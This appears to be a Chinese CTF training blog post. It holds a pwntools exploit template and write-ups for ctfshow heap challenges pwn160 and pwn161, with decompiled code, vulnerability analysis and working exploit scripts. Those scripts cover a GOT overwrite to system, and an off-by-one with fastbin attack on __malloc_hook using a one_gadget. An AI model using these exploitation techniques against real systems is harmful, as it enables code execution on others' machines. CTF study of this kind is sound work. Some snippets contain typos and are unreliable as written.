暑期线下赛训练

线下赛一般不能从头开始写脚本所以的自己准备一个模板,这个模板我还要根据自己的学习程度进行改进。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
from pwn import *
import os
import sys
import shlex

# ================= 1. 架构与运行环境 =================
# 32 位 x86:
# context(os='linux', arch='i386', bits=32, endian='little', log_level='info')

# 64 位 x86:
# context(os='linux', arch='amd64', bits=64, endian='little', log_level='info')

# 32 位 ARM 小端:
# context(os='linux', arch='arm', bits=32, endian='little', log_level='info')

# 64 位 ARM:
# context(os='linux', arch='aarch64', bits=64, endian='little', log_level='info')

# MIPS 小端:
# context(os='linux', arch='mips', bits=32, endian='little', log_level='info')

# MIPS 大端:
# context(os='linux', arch='mips', bits=32, endian='big', log_level='info')

# PowerPC 大端:
# context(os='linux', arch='powerpc', bits=32, endian='big', log_level='info')

# RISC-V 64:
# context(os='linux', arch='riscv64', bits=64, endian='little', log_level='info')

context(os='linux', arch='amd64', bits=64, endian='little', log_level='info')
context.terminal = ['tmux', 'splitw', '-h']


def auto_tmux():
if args.GDB and not os.environ.get('TMUX'):
flags = []

if args.GDB:
flags.append('GDB')
if args.DEBUG:
flags.append('DEBUG')
if args.REMOTE:
flags.append('REMOTE')

cmd = ' '.join(shlex.quote(x) for x in [sys.executable, sys.argv[0]] + flags)
os.execvp('tmux', ['tmux', 'new-session', cmd])


auto_tmux()
# ================= 2. 文件与远程配置 =================
BIN = './pwn'

# 默认 libc:适合普通本地题
# LIBC = '/lib/x86_64-linux-gnu/libc.so.6'

# 本题 glibc 2.23:只在需要指定旧 libc 时打开
USE_CUSTOM_GLIBC = True

CUSTOM_LD = './ld-2.23.so'
CUSTOM_LIBC = './libc-2.23.so'
CUSTOM_LIBC_DIR = './lib23'

if USE_CUSTOM_GLIBC:
LIBC = CUSTOM_LIBC
LD = CUSTOM_LD
else:
LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
LD = None

HOST = '127.0.0.1'
PORT = 9999

elf = ELF(BIN, checksec=False)
context.binary = elf

libc = ELF(LIBC, checksec=False) if os.path.exists(LIBC) else None
ld = LD if LD and os.path.exists(LD) else None

# 本地调试环境变量。题目给 libc 时常用 LD_PRELOAD。
env = {}
if libc:
env['LD_PRELOAD'] = LIBC



# ================= 3. 启动方式 =================
def start():
if args.DEBUG:
context.log_level = 'debug'

if args.REMOTE:
return remote(HOST, PORT)

# 指定旧 glibc 环境:ld-2.23.so + libc-2.23.so
if USE_CUSTOM_GLIBC and ld:
return process([LD, '--library-path', CUSTOM_LIBC_DIR, BIN])

# 普通本地题:直接运行
return process(BIN)

p = start()


# ================= 4. 数据转换辅助 =================
def bstr(x):
"""str/int/bytes 自动转 bytes,方便 sendlineafter。"""
if isinstance(x, bytes):
return x
if isinstance(x, int):
return str(x).encode()
if isinstance(x, str):
return x.encode()
return x


def ptr(x):
"""按当前架构自动 p32 / p64。"""
if context.bits == 32:
return p32(x)
return p64(x)


def uptr(x):
"""按当前架构自动 u32 / u64。"""
if context.bits == 32:
return u32(x[:4].ljust(4, b'\x00'))
return u64(x[:8].ljust(8, b'\x00'))


# ================= 5. 常用收发简写 =================
def ru(x):
return p.recvuntil(x)


def rl():
return p.recvline()


def r(n):
return p.recv(n)


def ra(timeout=0.2):
return p.recvall(timeout=timeout)


def s(x):
p.send(bstr(x))


def sl(x):
p.sendline(bstr(x))


def sa(prompt, x):
p.sendafter(prompt, bstr(x))


def sla(prompt, x):
p.sendlineafter(prompt, bstr(x))


def lg(name, value):
success(f'{name} = {hex(value)}')


# ================= 6. 菜单入口 =================
# 常见菜单提示:
# b'choice: ' / b'Choice: ' / b'Your choice: ' / b'Action: ' / b'>> ' / b'> '
MENU = b'Choice: '


def menu(choice):
sla(MENU, choice)


# ================= 7. 功能函数模板:现场按题目改 =================
# 下面的 add/delete/show/edit 是占位模板,不是固定答案。
# 线下赛原则:先让这四个函数能正常交互,再写漏洞利用。

def add(size):
menu(1)
if size is not None:
sla(b'size: ', size)


def delete(index):
menu(3)
sla(b'index: ', index)


def show(index):
menu(4)
sla(b'index: ', index)
#return rl()+rl()

def edit(index, size, content):
menu(2)
sla(b'index: ', index)
if size is not None:
sla(b'size: ', size)
if content is not None:
sa(b'content: ', content)


# ================= 8. 多字段菜单备用模板 =================
# 有些题不是简单 size/content,而是 name/age/description 等多个字段。
# 现场复制下面函数改提示即可。

def add_multi(size=None, name=None, content=None):
menu(1)
if size is not None:
sla(b'size: ', size)
if name is not None:
sa(b'name: ', name)
if content is not None:
sa(b'content: ', content)


def edit_with_len(index, content):
menu(4)
sla(b'index: ', index)
sla(b'length: ', len(content))
sa(b'content: ', content)


# ================= 9. 泄露辅助 =================
def leak_raw_after(prefix, n):
ru(prefix)
return r(n)


def leak_ptr_after(prefix, n=None):
"""
32 位:默认读 4 字节。
64 位:默认读 6 字节再补齐,因为地址常见只泄露低 6 字节。
"""
if n is None:
n = 4 if context.bits == 32 else 6
data = leak_raw_after(prefix, n)
return uptr(data)


def leak_libc(leak_addr, symbol_name):
"""
已知某个 libc 函数真实地址,计算 libc_base。
例:libc_base = leak_libc(puts_addr, 'puts')
"""
if libc is None:
raise RuntimeError('没有加载 libc,不能用 libc.sym 自动计算')
base = leak_addr - libc.sym[symbol_name]
lg('libc_base', base)
return base


# ================= 10. 常用地址获取 =================
def got(name):
return elf.got[name]


def plt(name):
return elf.plt[name]


def sym(name):
return elf.sym[name]


def libc_sym(base, name):
return base + libc.sym[name]


def libc_search(base, data):
return base + next(libc.search(data))


# ================= 11. 调试辅助 =================
def dbg():
if args.GDB:
gdb.attach(p, gdbscript='''
set pagination off
set disassembly-flavor intel
''')
pause()

def checksec():
elf.checksec()


# ================= 12. 利用逻辑区 =================
def main():
#show(0)
#调试接受
#out = show(0)
#print(out.decode(errors='ignore'))
#泄露地址
#ru(b'')
#addr = u32(r(4))
#addr = u64(r(6).ljust(8, b'\x00')) #64位

#add(0x18,b'u0',1,b'A')

#scanf_got = got('__isoc99_scanf')
#lg('scanf_got', scanf_got)

#edit(3, len(payload), payload)

#rl() # 清理 printf@GOT 后面打印出来的脏数据
#libc_base = printf_addr - libc.sym['printf']
#lg('libc_base:',libc_base)
#system_addr = libc_base + libc.sym['system']
add(0xe8)
add(0xf8)
add(0x68)
add(0x68)

payload = b'A'*0xe8 + p8(0x71)
edit(0, 0xf2, payload)
delete(1)
add(0xf8)
show(2)
ru(b'content: ')
libc_addr = u64(r(6).ljust(8, b'\x00'))
lg('libc_addr:',libc_addr)
rl()

mian_arena_offst = 0x0000000003c4b10 + 0x10 + 0x58 #0x0000000003c4b10 = __malloc_hook leak = mian_arena + 0x58 main_arena = malloc_hook + 0x10
libc_base = libc_addr - mian_arena_offst #0x0000000003c4b10 = __malloc_hook
lg('libc_base:',libc_base)
#dbg()
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['__realloc_hook']
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base + 0x4527a #one_gadget ./libc-2.23.so

lg('malloc_hook:',malloc_hook)
lg('realloc_hook:',realloc_hook)
lg('one_gadget:',one_gadget)

add(0x68)
delete(4)

payload = p64(malloc_hook - 0x23).ljust(0x68,b'A')
edit(2, len(payload), payload)

add(0x68)
add(0x68)

payload = b'A'*0xb + p64(one_gadget) + p64(realloc +0x10)
edit(5, len(payload), payload)

add(0x68)
#__malloc_hook = realloc + 0x10 __realloc_hook = one_gadget

#dbg()


if __name__ == '__main__':
main()
p.interactive()



#gdb调试常用语法
#gdb.attach(p)
#pause
#python exp.py GDB DEBUG

ctfshow pwn160

attack

先对源码进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
void __cdecl __noreturn main(int a1)
{
int v1; // [esp+2h] [ebp-14h] BYREF
_DWORD v2[4]; // [esp+6h] [ebp-10h] BYREF

v2[2] = &a1;
v2[1] = __readgsdword(0x14u);
sub_80486C6();
alarm(0x14u);
welcome();
while ( 1 )
{
mune();
if ( __isoc99_scanf("%d", &v1) == -1 )
break;
if ( !v1 )
{
printf("size of description: ");
__isoc99_scanf("%u%c", v2);
add(v2[0]);
}
if ( v1 == 1 )
{
printf("index: ");
__isoc99_scanf("%d", v2);
Delete(LOBYTE(v2[0]));
}
if ( v1 == 2 )
{
printf("index: ");
__isoc99_scanf("%d", v2);
show(LOBYTE(v2[0]));
}
if ( v1 == 3 )
{
printf("index: ");
__isoc99_scanf("%d", v2);
Update(LOBYTE(v2[0]));
}
if ( v1 == 4 )
{
puts("Bye");
exit(0);
}
if ( (unsigned __int8)byte_804B061 > 0x31u )
{
puts("MAX,see you~");
exit(0);
}
}
exit(1);
}

根据菜单选项把add,delete,edit,show先注释一下

再进入delete看看没有UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned int __cdecl Delete(unsigned __int8 a1)
{
unsigned int result; // eax
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)byte_804B061 && dword_804B080[a1] )
{
free(*(void **)dword_804B080[a1]);
free((void *)dword_804B080[a1]);
dword_804B080[a1] = 0;
}
result = __readgsdword(0x14u) ^ v2;
if ( result )
sub_8048EF0();
return result;
}

再进入ADD函数分析结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// a1 = size of description
_DWORD *__cdecl add(size_t a1)
{
_DWORD *result; // eax
void *s; // [esp+14h] [ebp-14h]
_DWORD *v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
s = malloc(a1);
memset(s, 0, a1);
v3 = malloc(0x80u);
memset(v3, 0, 0x80u);
*v3 = s;
dword_804B080[(unsigned __int8)byte_804B061] = v3;
printf("name: ");
sub_8048846(dword_804B080[(unsigned __int8)byte_804B061] + 4, 124);
Update((unsigned __int8)byte_804B061++);
result = v3;
if ( __readgsdword(0x14u) != v4 )
sub_8048EF0();
return result;
}
1
2
3
chunk0_addr:chunk0_context
chunk00_addr:chunk0_addr
chunk00_addr+4:name
1
dword_804B080[byte_804B061] = chunk00_addr

再进入edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int __cdecl Update(unsigned __int8 a1)
{
unsigned int result; // eax
int v2; // [esp+18h] [ebp-10h] BYREF
unsigned int v3; // [esp+1Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)byte_804B061 && dword_804B080[a1] )
{
v2 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v2);
if ( *(_DWORD *)dword_804B080[a1] + v2 >= (unsigned int)(dword_804B080[a1] - 4) )
{
puts("Wtf?");
exit(1);
}
printf("text: ");
sub_8048846(*(_DWORD *)dword_804B080[a1], v2 + 1);
}
result = __readgsdword(0x14u) ^ v3;
if ( result )
sub_8048EF0();
return result;
}
1
*(_DWORD *)dword_804B080[a1] + v2 >= (unsigned int)(dword_804B080[a1] - 4)
1
chunk0_addr + text_len >= chunk00_addr - 4

这个判断其实是有问题的,比如

add0,add1,add2对应的堆块如下

1
2
3
4
5
6
chunk0      0x18
chunk00 0x80
chunk1 0x18
chunk11 0x80
chunk2 0x18
chunk22 0x80

delete2 0

1
2
chunk1      0x18
chunk11 0x80

add 3 0x80

1
2
3
4
chunk3      0x80
chunk1 0x18
chunk11 0x80
chunk33 0x80

我通过chunk3的溢出就可以修改chunk11储存的指针成printf_got,然后把libc算出来,最终把free的真实地址改成system就行了。

关键代码编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
printf_got = got('printf')
lg(b'printf_got:',printf_got)
add(0x18, b'A',1,b'A')
add(0x18, b'A',1,b'A')
add(0x18, b'A',1,b'A')

delete(2)
delete(0)

payload = b'A'*0xb0 + p32(printf_got)
edit(3, len(payload), payload)
show(0)
ru(b'description: ')
printf_addr = u32(r(4))
lg(b'printf_addr:',printf_addr)

libc_base = ptintf_addr - libc.sym[printf]
system = libc_base + libc.sym[system]

free_got = got('free')
payload = b'A'*0xb0 + p32(free_got)
edit(3, len(payload), payload)

payload = b'/bin/sh\x00'
edit(3, len(payload), payload)

payload = p32(system)
edit(1, len(payload), payload)

fix

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int __cdecl sub_80488C0(unsigned __int8 a1)
{
unsigned int result; // eax
int v2; // [esp+18h] [ebp-10h] BYREF
unsigned int v3; // [esp+1Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)byte_804B061 && *((_DWORD *)&unk_804B080 + a1) )
{
v2 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v2);
if ( **((_DWORD **)&unk_804B080 + a1) + v2 >= (unsigned int)(*((_DWORD *)&unk_804B080 + a1) - 4) )
{
puts("Wtf?");
exit(1);
}
printf("text: ");
sub_8048846(**((_DWORD **)&unk_804B080 + a1), v2 + 1);
}
result = __readgsdword(0x14u) ^ v3;
if ( result )
sub_8048EF0();
return result;
}

定位漏洞所在的地方,再if那里切入汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0804892C                 lea     eax, (aUC - 804B000h)[ebx] ; "%u%c"
.text:08048932 push eax
.text:08048933 call ___isoc99_scanf
.text:08048938 add esp, 10h
.text:0804893B movzx edx, [ebp+var_1C]
.text:0804893F mov eax, offset unk_804B080
.text:08048945 mov eax, [eax+edx*4]
.text:08048948 mov eax, [eax]
.text:0804894A mov edx, eax
.text:0804894C mov eax, [ebp+var_10]
.text:0804894F lea ecx, [edx+eax]
.text:08048952 movzx edx, [ebp+var_1C]
.text:08048956 mov eax, offset unk_804B080
.text:0804895C mov eax, [eax+edx*4]
.text:0804895F sub eax, 4
.text:08048962 cmp ecx, eax
.text:08048964 jb short loc_8048982
.text:08048966 sub esp, 0Ch

fix这个先不继续泄露,我先去深度学习一下汇编语言。

ctfshow161

先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int v4; // [rsp+4h] [rbp-Ch]

sub_A1A(a1, a2, a3);
sub_AA4();
while ( 1 )
{
mnue();
v4 = sub_BF4(v4);
switch ( v4 )
{
case 1u:
add();
break;
case 2u:
puts(aCtrlIs);
edit();
break;
case 3u:
delete();
break;
case 4u:
show();
break;
case 5u:
return 0LL;
default:
puts("Wrong try again!!");
break;
}
}
}

delete没有出现uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 delete()
{
int v0; // eax
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
__int64 v4; // [rsp+10h] [rbp-10h]

printf("index: ");
v0 = sub_BF4(v3);
v4 = v0;
v2 = v0;
if ( (unsigned __int64)v0 <= 0xF )
{
v4 = *((int *)&unk_202040 + 4 * v0);
if ( v4 == 1 )
{
*((_DWORD *)&unk_202040 + 4 * v0) = 0;
*((_DWORD *)&unk_202044 + 4 * v0) = 0;
free((void *)qword_202048[2 * v0]);
qword_202048[2 * v2] = 0LL;
}
}
return v4;
}

这里存在一个单字节溢出

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall sub_E3A(int a1, unsigned int a2)
{
__int64 result; // rax

if ( a1 > (int)a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return (unsigned int)result;
}

先去add里面分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 add()
{
__int64 result; // rax
int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
int v3; // [rsp+8h] [rbp-18h]
void *v4; // [rsp+10h] [rbp-10h]

result = 0LL;
for ( i = 0; i <= 15; ++i )
{
result = *((unsigned int *)&unk_202040 + 4 * i);
if ( !(_DWORD)result )
{
printf("size: ");
v3 = sub_BF4(v2);
if ( v3 > 0 )
{
if ( v3 > 4096 )
v3 = 4096;
v4 = calloc(v3, 1uLL);
if ( !v4 )
exit(-1);
*((_DWORD *)&unk_202040 + 4 * i) = 1;
*((_DWORD *)&unk_202044 + 4 * i) = v3;
qword_202048[2 * i] = v4;
printf("the index of ticket is %d \n", (unsigned int)i);
}
return (unsigned int)i;
}
}
return result;
}

最多只能申请15个chunk,大小最大不能超过4096。calloc(v3, 1) 本质上是申请 v3 字节并把用户区清零,而 malloc(v3) 只申请内存不清零;所以这题里重新申请回来的 chunk 内容会被清零。

攻击思路就是利用单字节溢出先去泄露地址,然后用malloc_hook改成one_gadget去得到shell

exp关键部分编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
add(0xe8) #chunk0
add(0xf8) #chunk1
add(0x68) #chunk2
add(0x68) #chunk3

payload = b'A'*0xe8 + p8(0x71)
edit(0,0xf2,payload)
delete(1)

add(0xf8) #chunk1
show(2)
ru(b'content: ')
libc_addr = u64(r(6).ljust(8, b'\x00'))
lg('libc_addr:',libc_addr)
rl()

mian_arena_offst = libc.sym['__malloc_hook'] + 0x58 + 0x10
libc_base = libc_addr - mian_arena_offst
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['__realloc_hook']
realloc= libc_base + libc.sym['realloc']
one_gadget = libc_base + 0x4527a

add(0x68)
delete(4)
target = malloc_hook - 0x23
payload = p64(target).ljust(0x68, b'A')
edit(2, len(payload), payload)

add(0x68) #chunk4
add(0x68) #chunk5

payload = b'A'*0xb + p64(one_gadget) + p64(realloc+ 0x10)
edit(5,len(payload),payload)
add(0x68)